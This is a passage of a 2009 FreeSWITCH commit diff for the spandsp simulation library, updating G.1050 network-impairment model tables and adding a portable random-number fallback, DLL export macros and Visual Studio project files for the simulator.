-    {100000000, 0,    384000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.1800},
-    {100000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  3000000, 0,  0.5400},
-    {100000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  3000000, 0,  0.2025},
-    {100000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  3000000, 0,  0.5400},
-    {100000000, 0,    384000, 43000000, 0,   100000000, 0,   3000000, 43000000, 0,  0.0675},
-    {100000000, 0,   1536000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  1.4400},
-    {100000000, 0,   1536000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  0.5400},
-    {  4000000, 0,   1536000,  1536000, 0,     4000000, 0,   1536000,  1536000, 0,  0.1600},
-    {  4000000, 0,   1536000,  1536000, 0,    20000000, 0,   1536000,  1536000, 0,  0.3200},
-    {  4000000, 0,   1536000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  0.9600},
-    { 20000000, 0,   1536000,  1536000, 0,    20000000, 0,   1536000,  1536000, 0,  0.1600},
-    { 20000000, 0,   1536000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  0.9600},
-    {100000000, 0,   1536000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  1.4400},
-    {  4000000, 0,   1536000, 43000000, 0,     4000000, 0,   1536000, 43000000, 0,  0.0400},
-    {  4000000, 0,   1536000, 43000000, 0,    20000000, 0,   1536000, 43000000, 0,  0.0800},
-    {  4000000, 0,   1536000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.2400},
-    { 20000000, 0,   1536000, 43000000, 0,    20000000, 0,   1536000, 43000000, 0,  0.0400},
-    { 20000000, 0,   1536000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.2400},
-    {100000000, 0,   1536000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.3600},
-    {100000000, 0,   1536000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.1800},
-    {100000000, 0,   3000000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.0675},
-    {  4000000, 0,  43000000, 43000000, 0,     4000000, 0,  43000000, 43000000, 0,  0.0025},
-    {  4000000, 0,  43000000, 43000000, 0,    20000000, 0,  43000000, 43000000, 0,  0.0050},
-    {  4000000, 0,  43000000, 43000000, 0,   100000000, 0,  43000000, 43000000, 0,  0.0150},
-    { 20000000, 0,  43000000, 43000000, 0,    20000000, 0,  43000000, 43000000, 0,  0.0025},
-    { 20000000, 0,  43000000, 43000000, 0,   100000000, 0,  43000000, 43000000, 0,  0.0150},
-    {100000000, 0,  43000000, 43000000, 0,   100000000, 0,  43000000, 43000000, 0,  0.0225}
+    {  4000000, 0,   128000,   768000, 0,   4000000, 0,   128000,   768000, 0, 0.360},
+    {  4000000, 0,   128000,   768000, 0,  20000000, 0,   128000,   768000, 0, 0.720},
+    {  4000000, 0,   128000,   768000, 0, 100000000, 0,   128000,   768000, 0, 0.360},
+    { 20000000, 0,   128000,   768000, 0,  20000000, 0,   128000,   768000, 0, 0.360},
+    { 20000000, 0,   128000,   768000, 0, 100000000, 0,   128000,   768000, 0, 0.360},
+    {100000000, 0,   128000,   768000, 0, 100000000, 0,   128000,   768000, 0, 0.090},
+    {  4000000, 0,   128000,  1536000, 0,   4000000, 0,   384000,   768000, 0, 0.720},
+    {  4000000, 0,   128000,  1536000, 0,  20000000, 0,   384000,   768000, 0, 1.470},
+    {  4000000, 0,   128000,  1536000, 0, 100000000, 0,   384000,   768000, 0, 0.840},
+    { 20000000, 0,   128000,  1536000, 0,  20000000, 0,   384000,   768000, 0, 0.750},
+    { 20000000, 0,   128000,  1536000, 0, 100000000, 0,   384000,   768000, 0, 0.855},
+    {100000000, 0,   128000,  1536000, 0, 100000000, 0,   384000,   768000, 0, 0.240},
+    {  4000000, 0,   128000,  3000000, 0,   4000000, 0,   384000,   768000, 0, 0.120},
+    {  4000000, 0,   128000,  3000000, 0,  20000000, 0,   384000,   768000, 0, 0.420},
+    {  4000000, 0,   128000,  3000000, 0, 100000000, 0,   384000,   768000, 0, 0.840},
+    { 20000000, 0,   128000,  3000000, 0,  20000000, 0,   384000,   768000, 0, 0.300},
+    { 20000000, 0,   128000,  3000000, 0, 100000000, 0,   384000,   768000, 0, 0.930},
+    {100000000, 0,   128000,  3000000, 0, 100000000, 0,   384000,   768000, 0, 0.390},
+    {  4000000, 0,   384000,   768000, 0,   4000000, 0,   128000,  1536000, 0, 0.720},
+    {  4000000, 0,   384000,   768000, 0,  20000000, 0,   128000,  1536000, 0, 1.470},
+    {  4000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  1536000, 0, 0.840},
+    { 20000000, 0,   384000,   768000, 0,  20000000, 0,   128000,  1536000, 0, 0.750},
+    { 20000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  1536000, 0, 0.855},
+    {100000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  1536000, 0, 0.240},
+    {  4000000, 0,   384000,  1536000, 0,   4000000, 0,   384000,  1536000, 0, 1.440},
+    {  4000000, 0,   384000,  1536000, 0,  20000000, 0,   384000,  1536000, 0, 3.000},
+    {  4000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 1.920},
+    { 20000000, 0,   384000,  1536000, 0,  20000000, 0,   384000,  1536000, 0, 1.563},
+    { 20000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 2.000},
+    {100000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 0.640},
+    {  4000000, 0,   384000,  3000000, 0,   4000000, 0,   384000,  1536000, 0, 0.240},
+    {  4000000, 0,   384000,  3000000, 0,  20000000, 0,   384000,  1536000, 0, 0.850},
+    {  4000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 1.720},
+    { 20000000, 0,   384000,  3000000, 0,  20000000, 0,   384000,  1536000, 0, 0.625},
+    { 20000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 2.025},
+    {100000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 1.040},
+    {  4000000, 0,   384000,   768000, 0,   4000000, 0,   128000,  3000000, 0, 0.120},
+    {  4000000, 0,   384000,   768000, 0,  20000000, 0,   128000,  3000000, 0, 0.420},
+    {  4000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  3000000, 0, 0.840},
+    { 20000000, 0,   384000,   768000, 0,  20000000, 0,   128000,  3000000, 0, 0.300},
+    { 20000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  3000000, 0, 0.930},
+    {100000000, 0,   384000,   768000, 0, 100000000, 0,   128000,  3000000, 0, 0.390},
+    {  4000000, 0,   384000,  1536000, 0,   4000000, 0,   384000,  3000000, 0, 0.240},
+    {  4000000, 0,   384000,  1536000, 0,  20000000, 0,   384000,  3000000, 0, 0.850},
+    {  4000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  3000000, 0, 1.720},
+    { 20000000, 0,   384000,  1536000, 0,  20000000, 0,   384000,  3000000, 0, 0.625},
+    { 20000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  3000000, 0, 2.025},
+    {100000000, 0,   384000,  1536000, 0, 100000000, 0,   384000,  3000000, 0, 1.040},
+    {  4000000, 0,   384000,  3000000, 0,   4000000, 0,   384000,  3000000, 0, 0.040},
+    {  4000000, 0,   384000,  3000000, 0,  20000000, 0,   384000,  3000000, 0, 0.200},
+    {  4000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  3000000, 0, 0.520},
+    { 20000000, 0,   384000,  3000000, 0,  20000000, 0,   384000,  3000000, 0, 0.250},
+    { 20000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  3000000, 0, 1.300},
+    {100000000, 0,   384000,  3000000, 0, 100000000, 0,   384000,  3000000, 0, 1.690},
+    {  4000000, 0,   128000,  1536000, 0,  20000000, 0,   768000,  1536000, 0, 0.090},
+    {  4000000, 0,   128000,  1536000, 0, 100000000, 0,   768000,  1536000, 0, 0.360},
+    { 20000000, 0,   128000,  1536000, 0,  20000000, 0,   768000,  1536000, 0, 0.090},
+    { 20000000, 0,   128000,  1536000, 0, 100000000, 0,   768000,  1536000, 0, 0.405},
+    {100000000, 0,   128000,  1536000, 0, 100000000, 0,   768000,  1536000, 0, 0.180},
+    {  4000000, 0,   128000,  7000000, 0,  20000000, 0,   768000,   768000, 0, 0.270},
+    {  4000000, 0,   128000,  7000000, 0, 100000000, 0,   768000,   768000, 0, 1.080},
+    { 20000000, 0,   128000,  7000000, 0,  20000000, 0,   768000,   768000, 0, 0.270},
+    { 20000000, 0,   128000,  7000000, 0, 100000000, 0,   768000,   768000, 0, 1.215},
+    {100000000, 0,   128000,  7000000, 0, 100000000, 0,   768000,   768000, 0, 0.540},
+    {  4000000, 0,   128000, 13000000, 0,  20000000, 0,   768000, 13000000, 0, 0.030},
+    {  4000000, 0,   128000, 13000000, 0, 100000000, 0,   768000, 13000000, 0, 0.120},
+    { 20000000, 0,   128000, 13000000, 0,  20000000, 0,   768000, 13000000, 0, 0.030},
+    { 20000000, 0,   128000, 13000000, 0, 100000000, 0,   768000, 13000000, 0, 0.135},
+    {100000000, 0,   128000, 13000000, 0, 100000000, 0,   768000, 13000000, 0, 0.060},
+    {  4000000, 0,   384000,  1536000, 0,  20000000, 0,  1536000,  1536000, 0, 0.180},
+    {  4000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  1536000, 0, 0.720},
+    { 20000000, 0,   384000,  1536000, 0,  20000000, 0,  1536000,  1536000, 0, 0.188},
+    { 20000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  1536000, 0, 0.870},
+    {100000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  1536000, 0, 0.480},
+    {  4000000, 0,   384000,  7000000, 0,  20000000, 0,   768000,  1536000, 0, 0.540},
+    {  4000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  1536000, 0, 2.160},
+    { 20000000, 0,   384000,  7000000, 0,  20000000, 0,   768000,  1536000, 0, 0.563},
+    { 20000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  1536000, 0, 2.610},
+    {100000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  1536000, 0, 1.440},
+    {  4000000, 0,   384000, 13000000, 0,  20000000, 0,  1536000, 13000000, 0, 0.060},
+    {  4000000, 0,   384000, 13000000, 0, 100000000, 0,  1536000, 13000000, 0, 0.240},
+    { 20000000, 0,   384000, 13000000, 0,  20000000, 0,  1536000, 13000000, 0, 0.063},
+    { 20000000, 0,   384000, 13000000, 0, 100000000, 0,  1536000, 13000000, 0, 0.290},
+    {100000000, 0,   384000, 13000000, 0, 100000000, 0,  1536000, 13000000, 0, 0.160},
+    {  4000000, 0,   384000,  1536000, 0,  20000000, 0,  1536000,  3000000, 0, 0.030},
+    {  4000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  3000000, 0, 0.120},
+    { 20000000, 0,   384000,  1536000, 0,  20000000, 0,  1536000,  3000000, 0, 0.075},
+    { 20000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  3000000, 0, 0.495},
+    {100000000, 0,   384000,  1536000, 0, 100000000, 0,  1536000,  3000000, 0, 0.780},
+    {  4000000, 0,   384000,  7000000, 0,  20000000, 0,   768000,  3000000, 0, 0.090},
+    {  4000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  3000000, 0, 0.360},
+    { 20000000, 0,   384000,  7000000, 0,  20000000, 0,   768000,  3000000, 0, 0.225},
+    { 20000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  3000000, 0, 1.485},
+    {100000000, 0,   384000,  7000000, 0, 100000000, 0,   768000,  3000000, 0, 2.340},
+    {  4000000, 0,   384000, 13000000, 0,  20000000, 0,  3000000, 13000000, 0, 0.010},
+    {  4000000, 0,   384000, 13000000, 0, 100000000, 0,  3000000, 13000000, 0, 0.040},
+    { 20000000, 0,   384000, 13000000, 0,  20000000, 0,  3000000, 13000000, 0, 0.025},
+    { 20000000, 0,   384000, 13000000, 0, 100000000, 0,  3000000, 13000000, 0, 0.165},
+    {100000000, 0,   384000, 13000000, 0, 100000000, 0,  3000000, 13000000, 0, 0.260},
+    {  4000000, 0,   768000,  1536000, 0,  20000000, 0,   128000,  1536000, 0, 0.090},
+    { 20000000, 0,   768000,  1536000, 0,  20000000, 0,   128000,  1536000, 0, 0.090},
+    { 20000000, 0,   768000,  1536000, 0, 100000000, 0,   128000,  1536000, 0, 0.405},
+    {  4000000, 0,   768000,  1536000, 0, 100000000, 0,   128000,  1536000, 0, 0.360},
+    {100000000, 0,   768000,  1536000, 0, 100000000, 0,   128000,  1536000, 0, 0.180},
+    {  4000000, 0,  1536000,  1536000, 0,  20000000, 0,   384000,  1536000, 0, 0.180},
+    { 20000000, 0,  1536000,  1536000, 0,  20000000, 0,   384000,  1536000, 0, 0.188},
+    { 20000000, 0,  1536000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 0.870},
+    {  4000000, 0,  1536000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 0.720},
+    {100000000, 0,  1536000,  1536000, 0, 100000000, 0,   384000,  1536000, 0, 0.480},
+    {  4000000, 0,  1536000,  3000000, 0,  20000000, 0,   384000,  1536000, 0, 0.030},
+    { 20000000, 0,  1536000,  3000000, 0,  20000000, 0,   384000,  1536000, 0, 0.075},
+    { 20000000, 0,  1536000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 0.495},
+    {  4000000, 0,  1536000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 0.120},
+    {100000000, 0,  1536000,  3000000, 0, 100000000, 0,   384000,  1536000, 0, 0.780},
+    {  4000000, 0,   768000,   768000, 0,  20000000, 0,   128000,  7000000, 0, 0.270},
+    { 20000000, 0,   768000,   768000, 0,  20000000, 0,   128000,  7000000, 0, 0.270},
+    { 20000000, 0,   768000,   768000, 0, 100000000, 0,   128000,  7000000, 0, 1.215},
+    {  4000000, 0,   768000,   768000, 0, 100000000, 0,   128000,  7000000, 0, 1.080},
+    {100000000, 0,   768000,   768000, 0, 100000000, 0,   128000,  7000000, 0, 0.540},
+    {  4000000, 0,   768000,  1536000, 0,  20000000, 0,   384000,  7000000, 0, 0.540},
+    { 20000000, 0,   768000,  1536000, 0,  20000000, 0,   384000,  7000000, 0, 0.563},
+    { 20000000, 0,   768000,  1536000, 0, 100000000, 0,   384000,  7000000, 0, 2.610},
+    {  4000000, 0,   768000,  1536000, 0, 100000000, 0,   384000,  7000000, 0, 2.160},
+    {100000000, 0,   768000,  1536000, 0, 100000000, 0,   384000,  7000000, 0, 1.440},
+    {  4000000, 0,   768000,  3000000, 0,  20000000, 0,   384000,  7000000, 0, 0.090},
+    { 20000000, 0,   768000,  3000000, 0,  20000000, 0,   384000,  7000000, 0, 0.225},
+    { 20000000, 0,   768000,  3000000, 0, 100000000, 0,   384000,  7000000, 0, 1.485},
+    {  4000000, 0,   768000,  3000000, 0, 100000000, 0,   384000,  7000000, 0, 0.360},
+    {100000000, 0,   768000,  3000000, 0, 100000000, 0,   384000,  7000000, 0, 2.340},
+    {  4000000, 0,   768000, 13000000, 0,  20000000, 0,   128000, 13000000, 0, 0.030},
+    { 20000000, 0,   768000, 13000000, 0,  20000000, 0,   128000, 13000000, 0, 0.030},
+    { 20000000, 0,   768000, 13000000, 0, 100000000, 0,   128000, 13000000, 0, 0.135},
+    {  4000000, 0,   768000, 13000000, 0, 100000000, 0,   128000, 13000000, 0, 0.120},
+    {100000000, 0,   768000, 13000000, 0, 100000000, 0,   128000, 13000000, 0, 0.060},
+    {  4000000, 0,  1536000, 13000000, 0,  20000000, 0,   384000, 13000000, 0, 0.060},
+    { 20000000, 0,  1536000, 13000000, 0,  20000000, 0,   384000, 13000000, 0, 0.063},
+    { 20000000, 0,  1536000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.290},
+    {  4000000, 0,  1536000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.240},
+    {100000000, 0,  1536000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.160},
+    {  4000000, 0,  3000000, 13000000, 0,  20000000, 0,   384000, 13000000, 0, 0.010},
+    { 20000000, 0,  3000000, 13000000, 0,  20000000, 0,   384000, 13000000, 0, 0.025},
+    { 20000000, 0,  3000000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.165},
+    {  4000000, 0,  3000000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.040},
+    {100000000, 0,  3000000, 13000000, 0, 100000000, 0,   384000, 13000000, 0, 0.260},
+    { 20000000, 0,  1536000,  1536000, 0,  20000000, 0,  1536000,  1536000, 0, 0.023},
+    { 20000000, 0,  1536000,  1536000, 0, 100000000, 0,  1536000,  1536000, 0, 0.180},
+    {100000000, 0,  1536000,  1536000, 0, 100000000, 0,  1536000,  1536000, 0, 0.360},
+    { 20000000, 0,  1536000,  7000000, 0,  20000000, 0,   768000,  1536000, 0, 0.068},
+    { 20000000, 0,  1536000,  7000000, 0, 100000000, 0,   768000,  1536000, 0, 0.540},
+    {100000000, 0,  1536000,  7000000, 0, 100000000, 0,   768000,  1536000, 0, 1.080},
+    { 20000000, 0,  1536000, 13000000, 0,  20000000, 0,  1536000, 13000000, 0, 0.015},
+    { 20000000, 0,  1536000, 13000000, 0, 100000000, 0,  1536000, 13000000, 0, 0.120},
+    {100000000, 0,  1536000, 13000000, 0, 100000000, 0,  1536000, 13000000, 0, 0.240},
+    { 20000000, 0,   768000,  1536000, 0,  20000000, 0,  1536000,  7000000, 0, 0.068},
+    { 20000000, 0,   768000,  1536000, 0, 100000000, 0,  1536000,  7000000, 0, 0.540},
+    {100000000, 0,   768000,  1536000, 0, 100000000, 0,  1536000,  7000000, 0, 1.080},
+    { 20000000, 0,   768000,  7000000, 0,  20000000, 0,   768000,  7000000, 0, 0.203},
+    { 20000000, 0,   768000,  7000000, 0, 100000000, 0,   768000,  7000000, 0, 1.620},
+    {100000000, 0,   768000,  7000000, 0, 100000000, 0,   768000,  7000000, 0, 3.240},
+    { 20000000, 0,   768000, 13000000, 0,  20000000, 0,  7000000, 13000000, 0, 0.023},
+    { 20000000, 0,   768000, 13000000, 0, 100000000, 0,  7000000, 13000000, 0, 0.180},
+    {100000000, 0,   768000, 13000000, 0, 100000000, 0,  7000000, 13000000, 0, 0.360},
+    { 20000000, 0,  7000000, 13000000, 0,  20000000, 0,   768000, 13000000, 0, 0.023},
+    { 20000000, 0,  7000000, 13000000, 0, 100000000, 0,   768000, 13000000, 0, 0.180},
+    {100000000, 0,  7000000, 13000000, 0, 100000000, 0,   768000, 13000000, 0, 0.360},
+    { 20000000, 0, 13000000, 13000000, 0,  20000000, 0, 13000000, 13000000, 0, 0.003},
+    { 20000000, 0, 13000000, 13000000, 0, 100000000, 0, 13000000, 13000000, 0, 0.020},
+    {100000000, 0, 13000000, 13000000, 0, 100000000, 0, 13000000, 13000000, 0, 0.040}
 };
 
 g1050_model_t g1050_standard_models[9] =
@@ -634,12 +668,32 @@
     }
 };
 
+#if defined(HAVE_DRAND48)
+static __inline__ void q1050_rand_init(void)
+{
+    srand48(time(NULL));
+}
+/*- End of function --------------------------------------------------------*/
+
 static __inline__ double q1050_rand(void)
 {
     return drand48();
 }
 /*- End of function --------------------------------------------------------*/
+#else
+static __inline__ void q1050_rand_init(void)
+{
+    srand(time(NULL));
+}
+/*- End of function --------------------------------------------------------*/
 
+static __inline__ double q1050_rand(void)
+{
+    return (double) rand()/(double) RAND_MAX;
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
 static __inline__ double scale_probability(double prob, double scale)
 {
     /* Re-calculate probability based on a different time interval */
@@ -1035,10 +1089,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-g1050_state_t *g1050_init(int model,
-                          int speed_pattern,
-                          int packet_size,
-                          int packet_rate)
+SPAN_DECLARE(g1050_state_t *) g1050_init(int model,
+                                         int speed_pattern,
+                                         int packet_size,
+                                         int packet_rate)
 {
     g1050_state_t *s;
     g1050_constants_t *constants;
@@ -1054,7 +1108,7 @@
             break;
     }
     if (i >= 10)
-        srand48(time(NULL));
+        q1050_rand_init();
     if ((s = (g1050_state_t *) malloc(sizeof(*s))) == NULL)
         return NULL;
     memset(s, 0, sizeof(*s));
@@ -1134,7 +1188,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void g1050_dump_parms(int model, int speed_pattern)
+SPAN_DECLARE(void) g1050_dump_parms(int model, int speed_pattern)
 {
     g1050_channel_speeds_t *sp;
     g1050_model_t *mo;
@@ -1154,7 +1208,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g1050_put(g1050_state_t *s, const uint8_t buf[], int len, int seq_no, double departure_time)
+SPAN_DECLARE(int) g1050_put(g1050_state_t *s, const uint8_t buf[], int len, int seq_no, double departure_time)
 {
     g1050_queue_element_t *element;
     g1050_queue_element_t *e;
@@ -1212,7 +1266,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g1050_get(g1050_state_t *s, uint8_t buf[], int max_len, double current_time, int *seq_no, double *departure_time, double *arrival_time)
+SPAN_DECLARE(int) g1050_get(g1050_state_t *s, uint8_t buf[], int max_len, double current_time, int *seq_no, double *departure_time, double *arrival_time)
 {
     int len;
     g1050_queue_element_t *element;
@@ -1260,7 +1314,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void g1050_queue_dump(g1050_state_t *s)
+SPAN_DECLARE(void) g1050_queue_dump(g1050_state_t *s)
 {
     g1050_queue_element_t *e;
 

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2005.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/libspandsp_sim.2005.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2005.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2005.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,115 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libspandsp_sim"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp_sim"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+<File RelativePath="g1050.c"></File>
+<File RelativePath="line_model.c"></File>
+<File RelativePath="rfc2198_sim.c"></File>
+<File RelativePath="test_utils.c"></File>
+</Filter><Filter  Name="Header Files">
+<File RelativePath="spandsp/g1050.h"></File>
+<File RelativePath="spandsp/line_model.h"></File>
+<File RelativePath="spandsp/line_models.h"></File>
+<File RelativePath="spandsp/rfc2198_sim.h"></File>
+<File RelativePath="spandsp/test_utils.h"></File>
+<File RelativePath="spandsp-sim.h"></File>
+		</Filter>
+
+	</Files>
+
+	<Globals>
+
+	</Globals>
+
+</VisualStudioProject>
+

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/libspandsp_sim.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/libspandsp_sim.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,275 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspandsp_sim"
+	ProjectGUID="{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}"
+	RootNamespace="libspandsp_sim"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
